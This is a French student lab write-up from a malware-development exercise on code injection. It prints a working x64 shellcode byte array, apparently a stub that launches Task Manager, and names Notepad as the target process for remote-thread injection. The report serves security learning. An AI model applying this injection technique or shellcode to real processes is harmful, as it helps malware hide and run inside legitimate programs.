

Malware Development for Dummies

Exercice 2

1) Objectif

Le but était de comprendre comment fonctionne l'injection de code. Je voulais voir comment un programme peut injecter du code dans un autre processus pour l'exécuter.

2) Outil utilisé

J'ai réutilisé le shellcode généré dans l'exercice précédent.

3) Méthodologie

- J'ai mis le shellcode dans un tableau d'octets.

```
byte[] sc = new byte[275] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
    0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
    0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
    0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
    0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
    0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
    0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
    0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
    0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
    0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
    0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
    0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
    0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
    0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
    0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
    0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
    0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
    0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
    0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
    0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
    0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x74,0x61,0x73,
    0x6b,0x6d,0x67,0x72,0x00};
int len = sc.Length;
```

- J'ai fait en sorte que le programme cherche un processus actif (Notepad).

```
// Define process to inject into
string targetProc = "notepad";
```

- J'ai récupéré son identifiant.
- J'y ai injecté le shellcode.

- Puis j'ai lancé son exécution avec un thread distant.

4) Résultat

- Si le processus n'est pas ouvert → rien ne se passe
- S'il est ouvert → le shellcode est injecté et exécuté

Dans mon cas, ça ouvre le Gestionnaire des tâches.

5) Conclusion

Cet exercice m'a montré concrètement comment fonctionne une injection de code.

Même si mon programme est inoffensif, c'est une technique qui peut être utilisée dans des attaques. Comprendre ça aide à mieux comprendre la sécurité informatique.